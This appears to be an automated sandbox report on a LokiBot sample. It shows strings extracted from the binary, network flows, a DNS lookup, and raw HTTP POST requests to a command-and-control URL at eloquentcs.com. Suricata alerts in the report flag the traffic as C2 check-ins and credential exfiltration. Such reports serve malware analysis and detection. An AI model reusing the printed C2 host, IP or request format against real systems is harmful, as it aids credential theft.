E~#t8*
Eqo<v
3&56J
iv!-W
R.z6f'
0HBg^;*
S4yiF
5i9v?
v1AU4
}'<]Kx
Zczgp
<aYzvM
!J9{`
rTW*1
xBqp`
n%5M|A
yA0/l
U(E_N
5XXu^&
aAwS/
hPK>s
ns30>r
&pEzD
oi1$C
f!%l4?
^KbaV*
PxI6J
4Om|5
*yn^}uJOP
Vd+V^
!ekR)
Y G t
R<}@Y
Uu0\q
?Xtn_
-O/"
~{E0(}S
7)Pbl
ivIrf=3:
"ulL~
l1j>C
xMZ[6
JAnDq
^:E~i
(WwWw
vr/ N
mF\hS
Srqz7
t3Y*Y=RF
5dQ_7,
`+o6
#g~zP
^5$Gn
+NFo#
axxe4
CGI9zr
`$GK&
H*@_v
NL^,U
x;{qH
=Ev6N
wF7g}\
[+| )
k-rps
x$W<b\
088cf
PuZ^ww%_
q{:/'
"5a]0"
mR[&9
_'jdXq
=!r J
AvEEr
CR;K5
qLlMs
ulc6J
;N+9\
Gzd226
`mS11
gPW1ah
>Wy|m
ta2T:
Q,4\F
:6kP`
q]$e+
0kLu'
#Cu{S
q}#]C
}@@6c
I7&E-
o,<tw
y\/F8
OY)VWp
kSH>7
Ax/qQP
3}P3
l!%3L
fJkra
V,'(S
REEWM4
~-7rP>O
hD)%-+"
"'MsB
5*+z3
]]+!3Hd
d/c3`
ZYeKG
zk @~
#TNpM
i9Bf$
CI8bC
O{7rC
cm-rcz=
mDyUK
_d4dy7
6u*u6?
sj4x?_
Lq(r~*`
Vq2g#*
:yxh\
P0[hq
yy+B[f
n9j9.
Zkbp-
'a\K+
}!yaO
$m!H8
dKLWH
&Fd$Y
aG`FR
Hg?K\a3S
\F6;?
wX13+
_y~Dr
B,uo[
*]Cf}
jD|L>
Olqq]
T_dyL
YQfsE
)=2n{
]!T5"
3'.>3
[*KO!
0<MkzU
.euG6
x7.Is
_lD48zA
b"W5Tw
v}tnK^
@E1|a
gz- S
ltYm}+V
vN_}cX
WFTc~
5-IJG"^k
.[u-=L
mos4U
pW6Y&_
Fe;/p
W\}#[
1,zfS
F.t2A
D&~cb
[}?ktv
q66AF
P6E^9
CoAm=7J#
\C6)v
hWGW5_,
` ww:
q>R,s
whha0cU_
,mIR>9v
5} W}
R2WCw
Se$A?
(n->s
nk0^O
NoOW#
+Z-7#
!s>l-
sgvZ(:
:`n{Hh
uxzj7V]
N?fzb1
P467k+
>LL;a
+\a?f3
P3e$#`
H|?|v
f:sC.*
i4RqB
/,4*1
19LRf
.!Qy:F
bPD2`
?en)C
ujORv9s
s^ciE
ve]*Q
?k:,A
wC!N=
o:TGC
1Mnk_g
Mi\T$
Dz29wX
o}uP>
(B*i\tb
k5SU*
-jQWK3x,
qMC9E
g!;kTNZ
{:t`M[3
2!l:'
|CXFc
XW#+;(
glQF#
6Vl,!4B
yG*b9
KL#xr
$"[}L
KeUdzNi=O
]'Z.[
4lSm2
:{VAi
=jdTI
p=9[&z
RJN-
hIxh|
E^'pe
p%mua]
`:Qq4
aEC=b
i-)!;A
Mq|D%i
P2e;t
!gJ3\
|ei93
z&j*'
+V%Hqm
dg%Vh}
i1Kihl
+/b_gK
ZN$g3
T!ks]fX
#/]1N
Uh?]F
}d;a];
74{T,
#"jS.B
}znjB
IP4!QC
8pzzV
*4ij;
qKd7`
zH*7b~Cq
V4Dri
loTgf<
sJSV{
`5fqf=
)]KA6)
GnOa-c\q
q?yS|
C)D|'
7Rf#>
*81_z0L^
()<n/
%[p;5P
L<]C-EH
Uks9~/
8;lDY
q`!A~8w
71n4L
^AIeM
M5)|4_K+
p8OewD;
Y%AUD
4Nv{e
j"tLR
F>cB#
uA v24<T
y>b!J
8\cUx
TV&Oy
I47! 7
v3/X~i<
/11M8
^eu[r=
lorm"
!I38>
("EOmH
L"5+7
1;=0EH
+b32[z
UwD%6Q
o[:9a
=>3/bfh
ykey6x
r!V:|
jQDZ2
*,7-B
vNGUU
oi-.+p&
4$x1.
[}p.8s
j<TT$
p9/!O
Nb7-]
/[9}A
Z,539
{KI9:
*=Nh.sg
)q(:=J
n!j\"i_q
vmeRQ
?s>3X
}glFnbM
B,_/A
@r&4=
h{B3nM
ve=hyc
FGLc|
0w{|S
FVS\/
hBtVH`
2MbY3
?HX<)`h4
yF>6mH
t?Ogd
p*)@8
9|f{fQP
_Z) Eg
_pO3`
jcv8O
8(5A'F
C^<vk
fOPjQ
D,-Q+5P
p\;;C]
gGBU&6"
YHT1&
%$}j.
)U]Bn
m7Mlg#^DIUc
V1-=Y
)k\RJk
s1a3L/
"z4OS[
{C'Kv
2g.;UQ
)^,eNZ
+lu|c
Hdub^
~oH{q
9*p!h
/`K;4
rDt|L
\4Z!lu
Ku,tx
[<].:LW
\<r!u52
K"uviT
R/yb_
sZeRF
L_jB;
=^2<y
JISEI^
HG4J?
#mGWB
\t]fZ
43_9Bk
2x-s,\
),[Ca
}M7W4
WV,g}
Q|$0c
,ABH.
anb4"
j>:_-
)Lqo#
z[;;#Ah
%4qE%
dd_Kn;
.pg|#t(n
>7 \tS
H*0Nb
qQ&Y'|p
]wPy[.
v;J-g
/mzP5Sd
CI`f^
'$H>e
WVyg~
e9q_bYU(
]&^u:7>Y
<$X#V
V)qJd3$E
DsdMh
stt5w
ni6E9
r?pQG
PQWf`5
+#!A>
yI`j>
N,gcQX
g+B=#[
DPADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD
jjjjj
jjjjjj
ebutton
clock
combobox
explorerbar
header
listview
progress
rebar
scrollbar
startpanel
status
taskband
taskbar
toolbar
tooltip
trackbar
traynotify
treeview
window
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
BBABORT
BBALL
BBCANCEL
BBCLOSE
BBHELP
BBIGNORE
BBRETRY
BBYES
PREVIEWGLYPH
DLGTEMPLATE
DVCLAL
PACKAGEINFO
TFORM1
MAINICON
MS Sans Serif
Socket is already connected.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Connection timed out.
Connection refused."Too many levels of symbolic links.
File name too long.
Host is down.
No route to host.
Directory not empty
Host not found.
Message too long.
Protocol wrong type for socket.
Bad protocol option.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Address already in use. Cannot assign requested address.
Network is down.
Network is unreachable. Net dropped connection or reset.!Software caused connection abort.
Connection reset by peer.
No buffer space available.
<EOL>
%s is not a valid service.
Socket Error # %d
Interrupted system call.
Bad file number.
Access denied.
Bad address.
Invalid argument.
Too many open files.
Operation would block.
Operation now in progress.
Operation already in progress.
Socket operation on non-socket.
Destination address required.
Failed to get object at index %d"Failed to set tab "%s" at index %d Failed to set object at index %d
No help keyword specified.
Winsock Initialization Error.
Set Size Exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
Connected.
Disconnecting.
Disconnected.
Connected.
Disconnected.
Inactive Caption
Inactive Caption Text
Info Background
Info Text
Menu Background
Menu Text
Scroll Bar
3D Dark Shadow
3D Light
Window Background
Window Frame
Window Text
Failed to clear tab control Failed to delete tab at index %d"Failed to retrieve tab at index %d
Cream
Medium Gray
Active Border
Active Caption
Application Workspace
Background
Button Face
Button Highlight
Button Shadow
Button Text
Caption Text
Default
Gray Text
Highlight Background
Highlight Text
Inactive Border
Green
Olive
Purple
Silver
Yellow
Fuchsia
White
Money Green
Sky Blue
Unable to insert a line Clipboard does not support Icons
Default/Menu '%s' is already being used by another form
Docked control must have a name%Error removing control from dock tree
- Dock zone not found
- Dock zone has no control
Error setting %s.Count8Listbox (%s) style must be virtual in order to set Count"Unable to find a Table of Contents
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Black
Maroon
Enter
Space
Right
Shift+
Ctrl+
Error
Information
Confirm
Cancel
&Help
&Abort
&Retry
&Ignore
N&o to All
Yes to &All
Not enough timers [email protected] cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent
Cancel
&Help
&Close
&Ignore
&Retry
Abort
Cannot drag a form
Warning
Invalid image size
Invalid ImageList
Invalid ImageList Index)Failed to read ImageList data from stream(Failed to write ImageList data to stream$Error creating window device context
Error creating window class+Cannot focus a disabled or invisible window!Control '%s' has no parent window
Cannot hide an MDI Child Form)Cannot change Visible in OnShow or OnHide"Cannot make a visible window modal
Scrollbar property out of range
Menu index out of range
Menu inserted twice
Sub-menu is not in menu
+Out of memory while expanding memory stream
Error reading %s%s%s: %s
Stream read error
Property is read-only
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Stream write error
Bitmap image is not valid
Icon image is not valid!Cannot change the size of an icon
Unsupported clipboard format
Out of system resources
Canvas does not allow drawing
*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid property path
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d)
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range
January
February
March
April
August
September
October
November
December
Interface not supported
Exception in safecall method
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
A call to an OS function failed
Write$Error creating variant or safe array)Variant or safe array index out of bounds
Variant or safe array is locked
Invalid variant type conversion
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Variant overflow
Invalid argument
Invalid variant type
Operation not supported
Unexpected variant error
External exception %x
Assertion failed
Floating point division by zero
Floating point overflow
Floating point underflow
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Access violation
Stack overflow
Control-C hit
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value
Invalid argument to time encode
Invalid argument to date encode
Out of memory
I/O error %d
File not found
Invalid filename
Too many open files
File access denied
Read beyond end of file
Disk full
Invalid numeric input
Division by zero
Range check error
Integer overflow Invalid floating point operation

Full Results

Engine Signature Engine Signature Engine Signature
Sorry! No behavior.

Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 52.114.74.43 [VT] Netherlands
Y 13.107.42.23 [VT] United States
N 103.129.98.58 [VT] unknown

TCP

Source Source Port Destination Destination Port
192.168.1.9 49187 103.129.98.58 eloquentcs.com 80
192.168.1.9 49189 103.129.98.58 eloquentcs.com 80
192.168.1.9 49190 103.129.98.58 eloquentcs.com 80
192.168.1.9 49191 103.129.98.58 eloquentcs.com 80
192.168.1.9 49192 103.129.98.58 eloquentcs.com 80
192.168.1.9 49193 103.129.98.58 eloquentcs.com 80
192.168.1.9 49194 103.129.98.58 eloquentcs.com 80
192.168.1.9 49198 103.129.98.58 eloquentcs.com 80
192.168.1.9 49199 103.129.98.58 eloquentcs.com 80
192.168.1.9 49200 103.129.98.58 eloquentcs.com 80
192.168.1.9 49201 103.129.98.58 eloquentcs.com 80
192.168.1.9 49202 103.129.98.58 eloquentcs.com 80
192.168.1.9 49203 103.129.98.58 eloquentcs.com 80
192.168.1.9 49204 103.129.98.58 eloquentcs.com 80
192.168.1.9 49205 103.129.98.58 eloquentcs.com 80
192.168.1.9 49206 103.129.98.58 eloquentcs.com 80
192.168.1.9 49175 13.107.42.23 443
192.168.1.9 49177 13.107.42.23 443
192.168.1.9 49196 205.185.216.42 80
192.168.1.9 63356 52.114.74.43 26761
192.168.1.9 65227 52.114.74.43 35773
192.168.1.9 24999 52.114.74.43 44860
192.168.1.9 49197 93.184.220.29 80

UDP

Source Source Port Destination Destination Port
192.168.1.9 137 192.168.1.255 137
192.168.1.9 53599 8.8.8.8 53
192.168.1.9 54609 8.8.8.8 53
192.168.1.9 55233 8.8.8.8 53
192.168.1.9 55319 8.8.8.8 53
192.168.1.9 59058 8.8.8.8 53
192.168.1.9 59225 8.8.8.8 53
192.168.1.9 64674 8.8.8.8 53

DNS

Name Response Post-Analysis Lookup
eloquentcs.com [VT] A 103.129.98.58 [VT] 103.129.98.58 [VT]

HTTP Requests

URI Data
http://eloquentcs.com/five/fre.php
POST /five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: eloquentcs.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 29145E52
Content-Length: 186
Connection: close

http://eloquentcs.com/five/fre.php
POST /five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: eloquentcs.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 29145E52
Content-Length: 159
Connection: close

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

No ICMP traffic performed.

CIF Results

No CIF Results

Suricata Alerts

Timestamp Source IP Source Port Destination IP Destination Port Protocol GID SID REV Signature Category Severity
2020-07-19 10:26:39.974 192.168.1.9 [VT] 49174 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-07-19 10:26:40.133 192.168.1.9 [VT] 49175 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-07-19 10:26:40.238 192.168.1.9 [VT] 49177 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-07-19 10:26:40.239 192.168.1.9 [VT] 49178 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-07-19 10:26:40.578 192.168.1.9 [VT] 49176 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-07-19 10:27:28.818 192.168.1.9 [VT] 49187 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:27:28.818 192.168.1.9 [VT] 49187 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:27:30.421 192.168.1.9 [VT] 49187 103.129.98.58 [VT] 80 TCP 1 2024312 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected 1
2020-07-19 10:27:30.421 192.168.1.9 [VT] 49187 103.129.98.58 [VT] 80 TCP 1 2024317 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected 1
2020-07-19 10:27:30.591 192.168.1.9 [VT] 49189 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:27:30.591 192.168.1.9 [VT] 49189 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:27:31.334 192.168.1.9 [VT] 49189 103.129.98.58 [VT] 80 TCP 1 2024312 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected 1
2020-07-19 10:27:31.334 192.168.1.9 [VT] 49189 103.129.98.58 [VT] 80 TCP 1 2024317 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected 1
2020-07-19 10:27:31.421 192.168.1.9 [VT] 49190 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:27:31.421 192.168.1.9 [VT] 49190 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:27:32.218 192.168.1.9 [VT] 49190 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:27:32.218 192.168.1.9 [VT] 49190 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:27:32.218 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49190 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:27:42.255 192.168.1.9 [VT] 49191 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:27:42.255 192.168.1.9 [VT] 49191 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:27:42.910 192.168.1.9 [VT] 49191 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:27:42.910 192.168.1.9 [VT] 49191 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:27:42.910 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49191 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:27:52.943 192.168.1.9 [VT] 49192 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:27:52.943 192.168.1.9 [VT] 49192 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:27:53.554 192.168.1.9 [VT] 49192 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:27:53.554 192.168.1.9 [VT] 49192 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:27:53.554 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49192 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:28:03.583 192.168.1.9 [VT] 49193 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:28:03.583 192.168.1.9 [VT] 49193 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:28:04.277 192.168.1.9 [VT] 49193 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:28:04.277 192.168.1.9 [VT] 49193 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:28:04.277 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49193 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:28:14.309 192.168.1.9 [VT] 49194 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:28:14.309 192.168.1.9 [VT] 49194 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:28:14.962 192.168.1.9 [VT] 49194 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:28:14.962 192.168.1.9 [VT] 49194 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:28:14.963 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49194 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:28:24.988 192.168.1.9 [VT] 49198 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:28:24.988 192.168.1.9 [VT] 49198 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:28:26.512 192.168.1.9 [VT] 49198 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:28:26.512 192.168.1.9 [VT] 49198 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:28:26.512 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49198 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:28:36.560 192.168.1.9 [VT] 49199 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:28:36.560 192.168.1.9 [VT] 49199 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:28:37.262 192.168.1.9 [VT] 49199 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:28:37.262 192.168.1.9 [VT] 49199 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:28:37.262 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49199 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:28:47.300 192.168.1.9 [VT] 49200 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:28:47.300 192.168.1.9 [VT] 49200 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:28:48.034 192.168.1.9 [VT] 49200 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:28:48.034 192.168.1.9 [VT] 49200 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:28:48.034 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49200 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:29:02.690 192.168.1.9 [VT] 49201 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:29:02.690 192.168.1.9 [VT] 49201 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:29:03.421 192.168.1.9 [VT] 49201 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:29:03.421 192.168.1.9 [VT] 49201 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:29:03.421 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49201 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:29:13.456 192.168.1.9 [VT] 49202 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:29:13.456 192.168.1.9 [VT] 49202 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:29:14.096 192.168.1.9 [VT] 49202 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:29:14.096 192.168.1.9 [VT] 49202 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:29:14.096 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49202 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:29:24.126 192.168.1.9 [VT] 49203 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:29:24.126 192.168.1.9 [VT] 49203 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:29:24.854 192.168.1.9 [VT] 49203 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:29:24.854 192.168.1.9 [VT] 49203 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:29:24.855 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49203 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:29:34.893 192.168.1.9 [VT] 49204 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:29:34.893 192.168.1.9 [VT] 49204 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:29:35.560 192.168.1.9 [VT] 49204 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:29:35.560 192.168.1.9 [VT] 49204 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:29:35.560 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49204 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:29:45.608 192.168.1.9 [VT] 49205 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:29:45.608 192.168.1.9 [VT] 49205 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:29:46.326 192.168.1.9 [VT] 49205 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:29:46.326 192.168.1.9 [VT] 49205 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:29:46.326 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49205 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1
2020-07-19 10:29:56.365 192.168.1.9 [VT] 49206 103.129.98.58 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-07-19 10:29:56.365 192.168.1.9 [VT] 49206 103.129.98.58 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-07-19 10:29:57.038 192.168.1.9 [VT] 49206 103.129.98.58 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
2020-07-19 10:29:57.038 192.168.1.9 [VT] 49206 103.129.98.58 [VT] 80 TCP 1 2024318 3 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected 1
2020-07-19 10:29:57.038 103.129.98.58 [VT] 80 192.168.1.9 [VT] 49206 TCP 1 2025483 3 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected 1

Suricata TLS

Timestamp Source IP Source Port Destination IP Destination Port Subject Issuer Fingerprint Version
2020-07-19 10:26:39.976 192.168.1.9 [VT] 49174 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
